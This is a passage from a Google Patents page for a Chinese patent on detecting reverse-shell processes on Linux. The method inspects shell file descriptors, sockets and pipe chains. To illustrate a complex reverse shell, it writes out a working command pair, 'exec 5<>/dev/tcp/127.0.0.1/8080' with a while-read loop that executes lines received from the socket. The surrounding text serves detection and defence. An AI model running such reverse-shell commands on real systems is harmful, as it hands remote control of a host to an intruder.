CN110287696B - 一种反弹shell进程的检测方法、装置和设备 - Google Patents
一种反弹shell进程的检测方法、装置和设备 Download PDFInfo
- Publication number
- CN110287696B CN110287696B CN201810224623.5A CN201810224623A CN110287696B CN 110287696 B CN110287696 B CN 110287696B CN 201810224623 A CN201810224623 A CN 201810224623A CN 110287696 B CN110287696 B CN 110287696B
- Authority
- CN
- China
- Prior art keywords
- file descriptor
- file
- socket
- pipeline
- descriptor
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
Images
Classifications
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/55—Detecting local intrusion or implementing counter-measures
- G06F21/552—Detecting local intrusion or implementing counter-measures involving long-term monitoring or reporting
Abstract
公开了一种反弹shell进程的检测方法、装置和设备,所述方法包括:获取第一进程,所述第一进程是shell进程;检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况;根据所述第一进程的至少一个文件描述符与socket的关联情况,则确定所述第一进程是反弹shell进程。本方法通过检测shell进程的文件描述符是否最终与网络套接字关联,进而实现了对反弹shell进程和复杂反弹shell进程的检测,进而能够及时发现网络中的主机是否被黑客入侵和控制,提高了网络的安全性。
Description
技术领域
本申请涉及互联网安全技术领域,尤其涉及一种反弹shell进程的检测方法、装置和设备。
背景技术
Shell提供了用户交互功能,是用户和Linux操作系统之间的接口。一方面,Shell规定了一种编程语言,允许用户编写由shell命令组成的程序。另一方面,Shell是一个命令解释器,在接收用户输入的命令后,将用户输入的命令送到系统内核,将系统内核对于该命令的执行结果输出到显示器的屏幕上。
相对应上述Shell默认从键盘接收shell命令,默认向屏幕输出执行结果的方式,Linux 还提供一种输入输出的重定向功能。具体地,如图1a所示,对于一个正常的shell命令,通常默认在shell程序的一次运行过程(或称为一个shell进程)中,通过键盘输入命令,并通过显示器输出执行结果。但Linux提供一些命令能够改变默认的输入和输出位置。例如,输入命令“cat aaa.txt”是将“aaa.txt”中的内容输出在显示器屏幕上,但如果输入命令“cat aaa.txt>bbb.txt”则是将“aaa.txt”的内容输出至“bbb.txt”文件中,改变了其在原来的显示器输出的位置。
反弹Shell命令通过利用该输入输出的重定向功能,实现入侵主机对被入侵主机的远程控制。如图1b所示,黑客利用Linux提供的重定向功能,将一个shell命令的输入文件和输出文件定向至一个与socket关联的文件上,该shell命令的输入和输出就相当于来自网络。这样入侵主机的输入就成为该shell命令的输入,该shell命令的输出也直接传递给被入侵主机,实现了入侵主机对被入侵主机的控制。
为了避免入侵主机对被入侵主机的控制,提高网络系统的安全,需要对被入侵主机上的 shell命令做检测,判断其是否是反弹shell。但目前还没有一种有效的检测方法,所以对于本领域的技术人员来说如何有效地检测出一个shell命令是反弹shell命令成为一个亟待解决的问题。
发明内容
本申请提供了一种反弹shell进程的检测方法和装置,以实现对Linux系统中反弹shell 进程的有效检测,既可以检测出进程是否是简单的反弹shell进程,又可以检测出其是否是复杂的反弹shell进程。
本申请具体公开了如下技术方案:
第一方面,本申请提供了一种反弹shell进程的检测方法,本方法可以通过软件,例如检测程序来执行,具体地,该方法包括以下步骤:获取第一进程,所述第一进程是shell进程;检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况;并根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程。
本方面提供的方法,通过检测shell进程的文件描述符与网络套接字关联情况,当所述文件描述符与socket关联时,确定被检测的shell进程是反弹shell进程,进而实现了对反弹shell进程的检测。
结合第一方面,在第一方面的一种可能的实现中,所述检测所述第一进程的至少一个文件描述符与socket的关联情况,包括:在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;如果所述第一文件描述符和第二文件描述符均与socket关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同;
所述根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程,包括:如果所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同,则确定所述第一进程是第一反弹shell进程。
本实现方式中,通过判断shell进程的标准输入文件和标准输出文件所对应的文件描述符是否关联到同一个socket上,可以检测该shell进程是否是简单的反弹shell,从而实现了对于简单反弹shell的有效检测,提高了网络的安全性。
并且,上述检测简单的反弹shell进程过程较为简单,检测程序对于主机资源的消耗较少,检测效率较高。
结合第一方面,在第一方面的另一种可能的实现中,所述方法还包括:如果所述第一文件描述符和第二文件描述符未均与socket关联,则判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;如果所述第一文件描述符与所述第一管道的一端连接,则获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;
检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个 socket关联;如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,则确定所述第一进程是第二反弹shell进程。
本实现方式中,通过判断所述shell进程的标准输入文件是否最终来自于网络socket,可以检测出该shell进程是否是复杂的反弹shell,从而实现了对Linux系统中复杂的反弹 shell进程的有效检测,进而能够及时发现网络中的主机是否被黑客入侵和控制,进一步地提高了网络的安全性。
另外,上述检测复杂的反弹shell进程过程相比于简单反弹shell进程的检测过程相对复杂,但识别准确性较高,能够识别出入侵者通过多次重定向、管道连接等逃避方式设计出的反弹shell进程。
结合第一方面,在第一方面的又一种可能的实现中,所述检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况,包括:
获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;
如果所述第一文件描述符与所述第一管道的一端连接,则获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;
所述根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程,包括:如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,则确定所述第一进程是第二反弹shell进程。
结合第一方面,在第一方面的又一种可能的实现中,所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,方法还包括:
获取所述第一管道的管道标识;以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符;
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;
如果所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接,则确定所述第二进程为所述n个其他进程中最后一个进程;
如果所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接,则根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程;
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
本实现方式中,通过建立第一数据表和第二数据表,进而能够通过进程标识,例如pipe ID快速地查找与管道相连接的进程和该进程对应的标准输入文件的文字描述符,进而为查找第一进程的标准输入文件是否最终来源于网络提供了方便,提高了查找效率。
结合第一方面,在第一方面的又一种可能的实现中,所述在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,所述方法还包括:
读取第一进程信息或者称为第一进程的进程信息,所述第一进程信息包括:第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符关联中的每个所述文件描述符相关联的对象类型和对象标识,所述对象类型包括管道或者 socket,所述对象标识包括管道标识;
将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程信息中的第一的进程标识、所述至少一个文件描述符以及每个所述文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;其中,所述MAP是一种用于快速哈希HASH查找的数据结构。
本实现方式中,通过将读取的第一进程的所有信息,包括第一进程信息,例如进程ID,文件描述符,对象ID等插入到MAP的数据结构中,得到具有不同映射关系的第一数据表和第二数据表,为后续快速查找进程,以及各进程的标准输入文件的文件描述符做准备,进而达到快速查找和判断shell进程是否是反弹shell进程的目的。
结合第一方面,在第一方面的又一种可能的实现中,检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联,包括:获取来自操作系统的指示信息,所述指示信息中包括第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示所述最后一个进程的标准输入文件;
如果与所述第三文件描述符关联的对象类型是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;如果所述第三文件描述符关联的对象类型不是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket 不关联。
本实现方式中,将各个文件描述符所对应的对象属性,例如对象类型和对象ID之间的关系存储在操作系统中,并在需要时,操作系统将指示信息发送给检测单元或检测程序,进而可以避免在检测单元中存储大量数据或信息。
结合第一方面,在第一方面的又一种可能的实现中,所述方法还包括:读取所述第一进程的名字;判断所述第一进程的名字是否存在于预设的shell名字的名单中;如果所述第一进程的名字在所述预设的shell名字的名单中,则表明所述第一进程是shell进程;如果不在所述预设的shell名字的名单中,则不是shell进程。
此外,需要说明的是,本方面所述方法可以按照预设时间间隔周期性地检测,或者逐一地读取并检测各个进程是否是反弹shell进程,并且在检测到是反弹shell进程后,将检测结果上报给运维管理设备。
第二方面,本申请还提供了一种反弹shell进程的检测装置,该装置包括用于执行第一方面及第一方面各实现方式的中步骤的单元。
第三方面,本申请还提供了一种检测设备,包括:处理器和存储器,所述存储器中存储有程序代码,所述处理器,用于运行所述存储器中的程序代码,执行以下操作:
获取第一进程,检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况,所述第一进程是shell进程;如果与所述socket相关联,则确定所述第一进程是反弹 shell进程。
结合第一方面,在第一方面的一种可能的实现中,所述处理器,具体用于在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;如果所述第一文件描述符和第二文件描述符均与socket关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的 socket是否相同,以及,在所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同时,确定所述第一进程是第一反弹shell进程。
结合第三方面,在第三方面的另一种可能的实现中,所述处理器,还用于在所述第一文件描述符和第二文件描述符未均与socket关联的情况下,判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数且n≥1;
以及,判断在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,确定所述第一进程是第二反弹shell进程。
结合第三方面,在第三方面的又一种可能的实现中,所述处理器,还用于获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;
所述处理器,具体用于检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数且n≥1;在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;以及检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,确定所述第一进程是第二反弹shell进程。
结合第三方面,在第三方面的又一种可能的实现中,所述处理器,具体用于在所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,获取所述第一管道的管道标识:
以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符;
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;
在所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接时,确定所述第二进程为所述n个其他进程中最后一个进程;
在所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接的情况下,根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程;
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
结合第三方面,在第三方面的又一种可能的实现中,所述处理器,用于在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,读取第一进程信息,所述第一进程信息包括:第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符中的每个所述文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识;
将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程信息中的第一的进程标识、所述至少一个文件描述符以及每个所述文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;其中,所述MAP是一种用于快速哈希HASH查找的数据结构。
结合第三方面,在第三方面的又一种可能的实现中,所述处理器具体用于:获取来自操作系统的指示信息,所述指示信息包括第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示所述最后一个进程的标准输入文件;
如果与所述第三文件描述符关联的对象类型是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与所述一个socket关联;如果所述第三文件描述符关联的对象类型不是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket不关联。
第四方面,本申请还提供了一种计算机存储介质,该计算机存储介质可存储有指令,该指令执行时可实现本申请提供的第一方面和第一方面各种实现中的反弹shell进程的检测方法的部分或全部步骤。
第五方面,本申请还提供了一种包含指令的计算机程序产品,当所述指令在计算机上运行时,所述计算机执行上述各个方面所述的方法。
第六方面,本申请还提供一种检测系统,包括至少一个检测设备和运维管理设备,每个所述检测设备用于检测一个shell进程的至少一个文件描述符与网络套接字的关联情况,并在所述文件描述符与所述socket相关联的情况下,确定该shell进程是一个反弹shell进程,以及,将检测是反弹shell进程的检测结果上报给运维管理设备;所述运维管理设备用于接收来自各个检测设备的检测结果。
其中,所述检测结果包括指示一个进程是简单的反弹shell进程,或者是复杂的反弹 shell进程。
本申请提供的检测方法、装置和设备,通过判断shell进程的标准输入文件和标准输出文件所对应的文件描述符是否关联到同一个socket上,可以检测该shell进程是否是简单的反弹shell;通过判断所述shell进程的标准输入文件通过管道的一端连接其他进程,且管道的另一端是否最终来自于网络socket,可以检测出该shell进程是否是复杂的反弹shell,从而实现了对Linux系统中的反弹shell进程和复杂的反弹shell进程的有效检测,进而能够及时发现网络中的主机是否被黑客入侵和控制,提高了网络的安全性。
附图说明
图1a为本申请提供的一种正常shell进程的结构示意图;
图1b为本申请提供的一种反弹shell进程的结构示意图;
图2为本申请提供的一种反弹shell进程检测系统的结构示意图;
图3为本申请提供的Linux系统中一个简单shell进程的文件描述符信息的示意图;
图4a为本申请提供的一种复杂的反弹shell进程的结构示意图;
图4b为本申请提供的一种shell进程的文件描述符信息的示意图;
图4c为本申请提供的一种cat进程的文件描述符信息的示意图;
图5为本申请提供的一种反弹shell进程的检测方法的流程图;
图6为本申请提供的简单反弹shell进程的检测方法的流程图;
图7为本申请提供的一种shell进程目录的示意图;
图8a为本申请提供的第一数据表的示意图;
图8b为本申请提供的第二数据表的示意图;
图9为本申请提供的复杂反弹shell进程的检测方法的流程图;
图10为本申请提供的另一种复杂反弹shell进程的结构示意图;
图11为本申请提供的一种反弹shell进程的检测装置的结构示意图;
图12为本申请提供的一种主机的结构示意图。
具体实施方式
为了使本技术领域的人员更好地理解本申请实施例中的技术方案,并使本申请实施例的上述目的、特征和优点能够更加明显易懂,下面结合附图对本申请实施例中的技术方案作进一步详细的说明。
首先,对本申请所涉及的技术术语做介绍和说明。
Shell进程是用户按照shell规定的编程语法写的shell程序的一次运行过程。
在Linux操作系统中所有的资源,例如键盘、显示器、硬盘驱动器、数据等等都是以文件的形式呈现。
Shell进程会涉及到多个文件,如在运行过程中的从文件中读取数据,向文件输出运行结果。Shell进程在运行过程中会打开许多文件,操作系统为Shell进程涉及到的每个文件都分配一个文件描述符。对于一个Shell进程而言,标准输入文件的文件描述符是0(键盘),标准输出文件的文件描述符是1(显示器),在默认的情况下,标准输入文件是键盘,标准输出文件是显示器。
由于Linux操作系统的重定向功能,文件描述符0指示的标准输入文件可以由键盘被重定向到其他对象,如管道、socket等等。文件描述符1指示的标准输出文件也可以由显示器被重定向到其他对象。为了描述简洁,标准输入文件的真实来源被称为标准输入文件关联的对象。
其次,结合附图对本申请实施例的技术场景进行说明。
反弹shell进程工作的基本原理是:入侵主机在被入侵主机上创建一个网络套接字 (socket),并将该socket与多个文件描述符相关联,再通过所关联的不同文件描述符将默认的键盘输入、显示器输出重定向至其他的位置。
本申请提供的检测方法用于检测Linux系统的shell进程是否是反弹shell进程,进一步还可以检测反弹shell进程的类型,例如是简单的反弹shell进程,还是复杂的反弹shell 进程。具体涉及的检测系统的结构如图2所示,包括至少一个主机和运维管理设备,其中,每个主机中包括检测程序,用于执行反弹shell进程的检测方法,并将检测结果,例如,发现是反弹shell进程的检测结果上报给运维管理设备。运维管理设备接收该上报的检测结果并对主机做相应的维护。
其中,所述运维管理设备可以是服务器、防火墙、网管设备等等。所述检测程序可以运行于通用的计算机硬件平台上,或者通过存储器储存所述检测程序。
本申请所述“shell进程”是指UNIX/Linux系统中底层具有的最基本功能的程序。
下面对本申请所涉及的反弹shell进程的特征做详细地说明。
反弹shell进程分为两种,一种是简单的反弹shell进程,另一种是相对复杂的反弹shell 进程。
第一种反弹shell进程,又称简单的反弹shell进程。
所述简单的反弹shell进程的特征是:直接将shell进程的标准输入文件和标准输出文件重定向至一个网络套接字(socket)上,即shell进程的标准输入文件和标准输出文件直接被关联到同一个socket上或者均关联到网络。
其中,所述被关联到同一个socket是指:shell进程的标准输入文件和标准输出文件均被重定向至网络套接字上。
例如图3所示,通过ls–l命令查看Linux系统中某个进程的文件描述符信息,图3中第四行表示是一个反弹shell的进程。第三行表示该反弹shell进程是被另一个进程所创建的,因为第四行第三列shell父进程ID“27034”与第二行第二列“python”的进程ID“27034”相同。同时,该反弹Shell进程还包括命令行参数“–i”,用于表示该进程是一个交互式的Shell进程,这些特征都属于反弹shell进程的显著特征。
进一步,通过ls–l命令查看shell进程的文件描述符信息而得出的下面两行:
lrwx------1 root root 64 Dec 31 12:30 0->socket:[28626392]
lrwx------1 root root 64 Dec 31 12:30 1->socket:[28626392]
这两行信息中第九列的开头“O”和“1”分别代表反弹shell进程的标准输入文件和标准输出文件的文件描述符,具体地,文件描述符“O”表示反弹shell进程的标准输入文件,文件描述符“1”表示反弹shell进程的标准输出文件。
图3中的文件描述符“O”和“1”都同时与socket相关联,且这两个socket所对应的ID(identifier)“28626392”都相同,即表明该shell进程的标准输入文件和标准输出文件都同时关联在一个socket上,该shell进程属于简单的反弹shell进程。
第二种反弹shell进程:复杂的反弹shell进程。
所述复杂的反弹shell是指shell进程与socket之间还包括至少一个其他进程。或者 shell进程是由两个或两个以上的进程关联形成的。所以复杂的反弹shell进程的标准输入文件和标准输出文件并没有被关联在同一个socket上。
如图4a所示,shell进程与网络socket之间还包括一个cat进程,且该cat进程与shell 进程之间通过管道(pipe)连接。仅当这个反弹Shell执行具体命令的瞬间,才会将标准输出文件关联在网络socket上。例如如下的两条shell命令生成的Linux反弹shell进程:
exec 5<>/dev/tcp/127.0.0.1/8080
cat<&5|while read line;do $line 2>&5>&5;done
第一条命令,“exec 5”创建一个ID为5的文件描述符,“<>/dev/tcp/127.0.0.1/8080”将文件描述符的标准输入文件和标准输出文件与一个网络套接字socket关联,该网络套接字可以直接与远程主机的一个端口相连接,该远程主机的地址为127.0.0.1,端口为8080。
第二条命令,包括两个部分,第一个部分“cat<&5”表示启动一个cat命令,该cat命令功能是将输入的数据重定向输出。命令“<&5”用于将文件描述符5来指示该cat命令的输入文件。cat命令结尾管道操作符“|”将自己输出导入到文件描述符5的输入上,即表示将来自网络的输入通过管道传输给shell进程。
第二条命令的第二个部分“while do”格式表示一个循环命令。具体地,“do $line”表示该循环命令将输入的每一行作为命令执行,“2>&5”是将执行命令的错误信息通过文件描述符“5”输出,“>&5”将命令执行的输出结果向文件描述符“5”输出。使得该shell进程的全部输出都被定向至网络。但是上述Shell进程与socket之间是间接的关联关系,shell进程的标准输入文件和标准输出文件并没有同时关联在同一个socket上。
图4b是图4a所示的shell进程的文件描述符信息的示意图。该shell进程的标准输入文件所对应的文件描述符“0”指示的对象类型为pipe,表明该shell进程的标准输入文件与pipe一端相连,而不是直接与socket相关联。该shell进程的标准输出文件的文字描述符“1”没有指示pipe和socket,表示输出端未与管道或网络相连接。
追溯图4b中涉及的pipe的另一端,发现其与cat进程的输出端相连。图4c是一种cat 进程的文件描述符信息的示意图。其中,第四行第九列的开头“O”和“1”分别代表该cat进程的输入文件和输出文件的文件描述符,具体地,文件描述符“O”表示输入文件,文件描述符“1”表示输出文件。
图4c第九列中“-->socket:[数字]”,表示文件描述符对应的标准输入文件被定向到了网络中,[数字]表示所述网络socket对象的ID;同理地,“->pipe:[数字]”表示文件描述符对应的标准输出文件被定向到了管道(pipe)。图4c中cat进程输出文件对应的pipe ID[28552019]与图4b中shell进程的标准输入文件对应的pipe ID[28552019]相同,表示shell 进程与cat进程之间由pipe相连接。
如图4a所示,cat进程的标准输入文件的文件描述符指示socket,则表示与socket相关联,即表示shell进程的标准输入文件通过管道与cat进程连接,而cat进程的输入是一个socket。即shell进程经过管道和其他进程间接地与网络socket相关联,这种shell进程属于复杂的反弹shell进程。
本申请提供的方法用于对简单的反弹shell和复杂的反弹shell进行检测,并将检测结果上报给运维管理设备,本申请各个实施例所述的方法的执行主体可以是运行有检测程序的主机。
如图5所示,反弹shell进程的检测方法包括如下步骤。
步骤101:获取第一进程,所述第一进程是shell进程。
步骤102:检测第一进程的至少一个文件描述符与网络套接字socket的关联情况。
在本申请实施例应用的Linux操作系统中,文件描述符(file descriptor)在形式上是一个非负整数。它是一个索引值,用于指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。习惯上,标准输入(standard input)的文件描述符是0,标准输出(standardoutput)是 1,标准错误(standard error)是2。在默认的情况下,一个shell进程的标准输入文件指向的是键盘,一个shell进程的标准输出文件指向的是显示器或显示屏。
需要说明的是,本申请各实施例中所述中的“标准输入文件”如果无特别说明,是指进程的输入端或输入,同理地,所述“标准输出文件”是指进程的输出端或输出。
步骤103:根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程。
如果用以指示第一进程的标准输入文件的描述符没有与socket相关联、并且用以指示第一进程的标准输出文件的描述符也没有与socket相关联,则确定第一进程不是反弹shell进程。
可选的,在一个实施例中,可以仅检测简单的反弹shell进程。在这种情况下,步骤102 和步骤103具体包括:
获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;检测所述第一文件描述符和第二文件描述符是否均与socket关联,如果是,则进一步判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同;如果都相同,则确定所述第一进程是第一反弹shell进程,即为简单的反弹shell进程。
其中,判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同,包括:判断所述标准输入文件关联的对象类型和标准输出文件关联的对象类型是否都是socket,且两个对象ID是否也相同,所述对象类型包括socket或pipe;如果所述文件描述符指示的对象类型为pipe,则所述对象ID为pipe ID。
上述检测简单的反弹shell进程过程较为简单,检测程序对于主机资源的消耗较少,检测效率较高。
可选的,在另一个实施例中,可以仅检测复杂的反弹shell进程。在这种情况下,步骤 102和步骤103具体包括:
检测第一进程的标准输入文件是否与第一管道的一端连接,所述第一管道的另一端与n 个其他进程相连接,在所述第一进程的标准输入文件通过管道与n个其他进程依次相连接的情况下,获取n个其他进程中最后一个进程的标准输入文件所对应的文件描述符,n为自然数且n≥1。
检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个 socket关联;如果相关联,则确定所述第一进程是第二反弹shell进程,即为复杂的反弹shell 进程,否则,则确定该进程不是第二反弹shell进程。
可选地,在上述两种实现方式中,确定所述n个其他进程中最后一个进程的过程,具体包括:
获取所述第一管道的管道标识,例如pipe ID;以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符。
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;如果所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接,则确定所述第二进程为所述n个其他进程中最后一个进程。
如果所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接,则根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程。
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
上述检测复杂的反弹shell进程过程相对复杂,但识别准确性较高,能够识别出入侵者通过多次重定向、管道连接等逃避方式设计出的反弹shell进程。
可选的,在另一个实施例中,也可以同时检测简单的反弹shell进程、以及复杂的反弹 shell进程。例如先检测所述第一进程是否是简单的反弹shell进程,即检测第一进程的标准输入文件所对应的第一文件描述符和标准输出文件所对应的第二文件描述符是否都关联到同一个socket上,如果否,表明所述第一进程不是简单的反弹shell进程,则进一步检测第一进程是否是复杂的反弹shell进程,例如检测第一进程的标准输入文件是否通过管道连接经过n个其它进程转发后最终与一个socket关联,具体的检测过程与上述复杂反弹shell的检测方法相同,此处不详细描述。
本申请提供的方法,通过判断shell进程的标准输入文件和标准输出文件所对应的文件描述符是否都关联到同一个socket上,可以检测该shell进程是否是简单的反弹shell;通过判断所述shell进程的标准输入文件通过管道的一端连接其他进程,且管道的另一端是否最终来自于网络socket,可以检测出该shell进程是否是复杂的反弹shell,从而实现了对 Linux系统中的反弹shell进程和复杂的反弹shell进程的有效检测,进而能够及时发现网络中的主机是否被黑客入侵和控制,提高了网络的安全性。
另外,本申请中还可以先检测第一进程是否是复杂的反弹shell进程,再检测其是否是简单的反弹shell进程,具体的检测方法与前述单独检测第一进程是否是简单的反弹shell,还是复杂的反弹shell的过程相同,参考前述具体过程,此处不详细赘述。
下面对本申请所提供的简单反弹shell进程的检测方法和复杂反弹shell进程的检测方法分别做详细地介绍。
首先,介绍简单反弹shell进程的检测方法,如图6所示,所述方法包括:
步骤601:访问第一进程的全部信息。
其中,所述第一进程的全部信息包括第一进程的所有文件描述符信息,第一进程的进程标识,第一进程的进程名字,与每个所述文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识,例如pipe ID等。
第一进程可以是Linux系统中的任意一个进程,在Linux系统中的所有进程的全部信息都保存在/proc目录中,如图7所示,其中,每个以数字命名的目录可以包含一个进程的所有信息,例如第二行第一个数字“1”表示第一进程,且包含了第一进程的所有信息,即第一进程信息。
步骤602:读取第一进程的进程信息。
所述进程信息包括至少一个文件描述符信息,每个所述文件描述符信息中包括:文件描述符0,1,2……和对象属性,其中每个文件描述符与对象属性具有一种对应关系,所述对象属性包括对象类型和对象标识,进一步地,所述对象类型包括:socket或pipe,所述对象标识可以是pipe ID或socket ID。
参见图7,第一进程“1”中所包含至少一个子目录fd,每个子目录fd中包含若干个文件,其中每个文件对应一个文件描述符。所述读取第一进程的进程信息,包括读取第一进程的每个文件的文件描述符,每个文件描述符所对应的对象类型和对象标识。
可选的,在Linux系统中各个进程的文件描述符与对象属性之间的对应关系预先存储在 readlink中,因此利用Linux系统中的readlink功能调用,能够读取每个进程的标准输入文件和标准输出文件的文件描述符实际对应的对象类型是socket还是pipe。
步骤603:将第一进程的进程信息分别插入到MAP A和MAP B中生成第一数据表和第二数据表。即根据所述第一进程的文件描述符信息构建所述第一数据表和第二数据表。
具体地,所述第一进程的进程信息包括:第一进程的进程标识、第一进程的至少一个文件描述符、与所述第一进程的每个所述文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括pipe ID或socket ID。
将所述第一进程的进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程的进程信息中的第一的进程标识、所述至少一个文件描述符以及每个所述文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表。
其中,所述MAP是一种用于快速哈希HASH查找的数据结构,其功能是通过输入一个参数 key,能够迅速反馈其对应的值value。
本实施例中构建两种数据表的对应关系,具体包括:
